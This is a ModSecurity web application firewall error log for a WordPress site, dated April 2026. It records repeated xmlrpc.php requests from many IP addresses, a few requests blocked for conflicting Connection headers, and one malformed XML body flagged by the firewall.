[Tue Apr 14 01:37:30.740014 2026] [:error] [pid 60317:tid 60362] [client 157.66.27.87:57098] [client 157.66.27.87] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.87, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0p2rBo7Bc8I7P_P--PdQAAANY"]
[Tue Apr 14 01:40:07.624444 2026] [:error] [pid 59915:tid 59972] [client 79.117.246.51:54068] [client 79.117.246.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.117.246.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0qd4eTNdEemByf99g6IQAAAIE"]
[Tue Apr 14 01:53:14.398379 2026] [:error] [pid 59915:tid 59980] [client 43.152.72.244:51758] [client 43.152.72.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ad0tioeTNdEemByf99hCsgAAAIk"]
[Tue Apr 14 01:53:18.065514 2026] [:error] [pid 60317:tid 60347] [client 185.199.223.39:47774] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0tjrBo7Bc8I7P_P--ezAAAAMc"]
[Tue Apr 14 01:55:11.501528 2026] [:error] [pid 59914:tid 59967] [client 82.165.10.186:57294] [client 82.165.10.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.165.10.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0t_-q0YMmB3OWbbUlTAwAAAFc"]
[Tue Apr 14 01:59:49.052433 2026] [:error] [pid 59915:tid 59988] [client 77.68.115.185:44362] [client 77.68.115.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.68.115.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0vFYeTNdEemByf99hFXgAAAJE"]
[Tue Apr 14 02:05:35.522568 2026] [:error] [pid 59914:tid 59944] [client 85.214.144.101:40198] [client 85.214.144.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.144.101, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0wb-q0YMmB3OWbbUlWNQAAAEA"]
[Tue Apr 14 02:06:34.407261 2026] [:error] [pid 59915:tid 59994] [client 194.164.173.215:39516] [client 194.164.173.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.173.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0wqoeTNdEemByf99hH2gAAAJc"]
[Tue Apr 14 02:15:46.428186 2026] [:error] [pid 59915:tid 59985] [client 217.154.40.49:36378] [client 217.154.40.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.40.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0y0oeTNdEemByf99hMggAAAI4"]
[Tue Apr 14 02:25:20.777530 2026] [:error] [pid 59915:tid 59993] [client 43.157.38.131:47440] [client 43.157.38.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ad01EIeTNdEemByf99hRewAAAJY"]
[Tue Apr 14 02:32:44.068547 2026] [:error] [pid 59915:tid 59990] [client 84.254.128.64:27390] [client 84.254.128.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.254.128.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad02zIeTNdEemByf99hUqgAAAJM"]
[Tue Apr 14 02:42:42.987293 2026] [:error] [pid 59913:tid 59923] [client 76.13.78.252:57830] [client 76.13.78.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 76.13.78.252, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad05Iq5XvQ9C-gZtr2y-DQAAAAY"]
[Tue Apr 14 02:55:39.731847 2026] [:error] [pid 60317:tid 60342] [client 45.113.226.217:33838] [client 45.113.226.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.113.226.217, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad08K7Bo7Bc8I7P_P-_K-QAAAMI"]
[Tue Apr 14 02:58:56.343933 2026] [:error] [pid 60317:tid 60360] [client 85.128.143.151:58192] [client 85.128.143.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.151, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad088LBo7Bc8I7P_P-_NzQAAANQ"]
[Tue Apr 14 03:02:01.681035 2026] [:error] [pid 60317:tid 60353] [client 152.42.226.162:52602] [client 152.42.226.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.226.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad09qbBo7Bc8I7P_P-_PlQAAAM0"]
[Tue Apr 14 03:05:28.673380 2026] [:error] [pid 59915:tid 59981] [client 137.184.237.108:57236] [client 137.184.237.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.237.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0-eIeTNdEemByf99hlLAAAAIo"]
[Tue Apr 14 03:06:18.150475 2026] [:error] [pid 59913:tid 59928] [client 34.76.142.88:61569] [client 34.76.142.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.76.142.88, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0-qq5XvQ9C-gZtr2zGbQAAAAs"]
[Tue Apr 14 03:08:22.405618 2026] [:error] [pid 60317:tid 60362] [client 107.172.134.18:57952] [client 107.172.134.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.172.134.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0_JrBo7Bc8I7P_P-_TWgAAANY"]
[Tue Apr 14 03:09:06.658910 2026] [:error] [pid 59915:tid 59971] [client 20.163.27.0:42544] [client 20.163.27.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.163.27.0, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0_UoeTNdEemByf99hmqwAAAIA"]
[Tue Apr 14 03:10:33.011858 2026] [:error] [pid 16503:tid 16576] [client 5.189.168.141:58104] [client 5.189.168.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.189.168.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0_qfI86hGF7iaf8e1mqgAAAIA"]
[Tue Apr 14 03:19:15.534067 2026] [:error] [pid 16502:tid 16549] [client 34.73.73.46:40962] [client 34.73.73.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.73.46, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1Bs0EJn1AN84QnLGn73QAAAEA"]
[Tue Apr 14 03:21:42.773636 2026] [:error] [pid 54396:tid 54480] [client 156.67.82.40:58746] [client 156.67.82.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.82.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1CRhS0H7R7OWsz7VCHVgAAAJM"]
[Tue Apr 14 03:26:41.733666 2026] [:error] [pid 54492:tid 54494] [client 34.165.13.211:41630] [client 34.165.13.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.165.13.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1DcaIr0UiE7s9hihP6GwAAAMA"]
[Tue Apr 14 03:30:43.367454 2026] [:error] [pid 19689:tid 19761] [client 121.170.188.114:36244] [client 121.170.188.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.170.188.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1EY5WU15arjG3aJyQvlwAAAIY"]
[Tue Apr 14 03:37:49.763852 2026] [:error] [pid 19688:tid 19744] [client 36.50.27.26:41712] [client 36.50.27.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.50.27.26, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1GDYHoi57o76xPstKiDAAAAFA"]
[Tue Apr 14 03:42:49.634282 2026] [:error] [pid 19689:tid 19765] [client 82.223.24.195:55908] [client 82.223.24.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.24.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1HOZWU15arjG3aJyQ1PwAAAIo"]
[Tue Apr 14 03:44:29.457933 2026] [:error] [pid 19793:tid 19818] [client 147.182.243.3:45590] [client 147.182.243.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.243.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1HnQGEQsZw9TkmIA7v7QAAANc"]
[Tue Apr 14 03:49:38.403248 2026] [:error] [pid 19687:tid 19708] [client 81.181.68.123:47108] [client 81.181.68.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.181.68.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1I0mBZImnR12CCWFohpAAAAAw"]
[Tue Apr 14 03:56:08.987897 2026] [:error] [pid 19688:tid 19738] [client 69.163.206.7:32928] [client 69.163.206.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.206.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1KWIHoi57o76xPstKoCAAAAEo"]
[Tue Apr 14 03:56:40.988809 2026] [:error] [pid 19793:tid 19815] [client 103.205.142.28:49516] [client 103.205.142.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.205.142.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1KeAGEQsZw9TkmIA72vAAAANQ"]
[Tue Apr 14 03:58:48.611965 2026] [:error] [pid 19793:tid 19806] [client 59.125.102.226:57280] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1K-AGEQsZw9TkmIA73XwAAAMs"]
[Tue Apr 14 04:00:59.143175 2026] [:error] [pid 19689:tid 19779] [client 96.46.48.39:43294] [client 96.46.48.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.46.48.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1Le5WU15arjG3aJyQ7lgAAAJg"]
[Tue Apr 14 04:14:54.166980 2026] [:error] [pid 19689:tid 19764] [client 88.99.147.18:41186] [client 88.99.147.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.99.147.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1OvpWU15arjG3aJyRBIAAAAIk"]
[Tue Apr 14 04:15:45.728933 2026] [:error] [pid 19688:tid 19740] [client 40.77.105.187:20800] [client 40.77.105.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 40.77.105.187, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1O8YHoi57o76xPstKscgAAAEw"]
[Tue Apr 14 04:19:55.377823 2026] [:error] [pid 19793:tid 19796] [client 34.140.181.23:2654] [client 34.140.181.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.181.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1P6wGEQsZw9TkmIA4ByQAAAME"]
[Tue Apr 14 04:20:48.660532 2026] [:error] [pid 19688:tid 19750] [client 34.73.73.46:55132] [client 34.73.73.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.73.46, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1QIIHoi57o76xPstKuIQAAAFY"]
[Tue Apr 14 04:22:39.395152 2026] [:error] [pid 19688:tid 19736] [client 212.55.193.47:44074] [client 212.55.193.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.55.193.47, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1Qj4Hoi57o76xPstKuqQAAAEg"]
[Tue Apr 14 04:25:39.547783 2026] [:error] [pid 19793:tid 19806] [client 191.183.43.130:5566] [client 191.183.43.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.183.43.130, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1RQwGEQsZw9TkmIA4FKgAAAMs"]
[Tue Apr 14 04:26:00.592964 2026] [:error] [pid 19687:tid 19712] [client 191.183.43.130:5532] [client 191.183.43.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.183.43.130, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1RWGBZImnR12CCWFoqHQAAABA"]
[Tue Apr 14 04:29:43.287722 2026] [:error] [pid 64393:tid 64411] [client 63.131.146.5:47834] [client 63.131.146.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 63.131.146.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1SN-ClKltJhW50hKOsCAAAARA"]
[Tue Apr 14 04:34:36.885149 2026] [:error] [pid 19688:tid 19752] [client 185.199.223.39:44310] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1TXIHoi57o76xPstKw7QAAAFg"]
[Tue Apr 14 04:49:00.785726 2026] [:error] [pid 19793:tid 19806] [client 24.199.107.163:5082] [client 24.199.107.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.199.107.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1WvAGEQsZw9TkmIA4M9gAAAMs"]
[Tue Apr 14 04:56:40.440799 2026] [:error] [pid 19793:tid 19808] [client 51.210.190.32:55780] [client 51.210.190.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.190.32, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1YiAGEQsZw9TkmIA4P3AAAAM0"]
[Tue Apr 14 04:58:36.700929 2026] [:error] [pid 64393:tid 64418] [client 69.57.172.96:51552] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1Y_OClKltJhW50hKO7BwAAARc"]
[Tue Apr 14 04:59:06.720391 2026] [:error] [pid 64393:tid 64404] [client 147.135.255.201:50244] [client 147.135.255.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.135.255.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1ZGuClKltJhW50hKO7hQAAAQk"]
[Tue Apr 14 05:04:02.263857 2026] [:error] [pid 64393:tid 64401] [client 64.118.142.87:59894] [client 64.118.142.87] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.118.142.87, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1aQuClKltJhW50hKO-dQAAAQY"]
[Tue Apr 14 05:12:01.938489 2026] [:error] [pid 19687:tid 19703] [client 185.199.223.39:52186] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1cIWBZImnR12CCWFozngAAAAc"]
[Tue Apr 14 05:23:57.914147 2026] [:error] [pid 19688:tid 19748] [client 157.245.6.105:42706] [client 157.245.6.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.6.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1e7YHoi57o76xPstK9vgAAAFQ"]
[Tue Apr 14 05:26:10.883012 2026] [:error] [pid 64393:tid 64404] [client 156.67.24.219:48952] [client 156.67.24.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.24.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1fcuClKltJhW50hKPKUAAAAQk"]
[Tue Apr 14 05:26:16.583878 2026] [:error] [pid 64393:tid 64407] [client 137.184.237.108:42108] [client 137.184.237.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.237.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1feOClKltJhW50hKPKagAAAQw"]
[Tue Apr 14 05:26:44.738431 2026] [:error] [pid 19689:tid 19765] [client 161.35.47.44:40414] [client 161.35.47.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.47.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1flJWU15arjG3aJyRZdgAAAIo"]
[Tue Apr 14 05:28:39.846044 2026] [:error] [pid 19688:tid 19732] [client 194.164.174.156:50294] [client 194.164.174.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.174.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1gB4Hoi57o76xPstK_CAAAAEQ"]
[Tue Apr 14 05:30:22.314449 2026] [:error] [pid 19687:tid 19717] [client 85.128.143.134:36020] [client 85.128.143.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1gbmBZImnR12CCWFo2-AAAABU"]
[Tue Apr 14 05:30:22.315949 2026] [:error] [pid 19687:tid 19717] [client 85.128.143.134:36020] [client 85.128.143.134] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1gbmBZImnR12CCWFo2-AAAABU"]
[Tue Apr 14 05:30:22.317024 2026] [:error] [pid 19687:tid 19717] [client 85.128.143.134:36020] [client 85.128.143.134] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1gbmBZImnR12CCWFo2-AAAABU"]
[Tue Apr 14 05:33:21.701120 2026] [:error] [pid 64393:tid 64399] [client 212.129.7.184:37986] [client 212.129.7.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.129.7.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad1hIeClKltJhW50hKPOqgAAAQQ"]
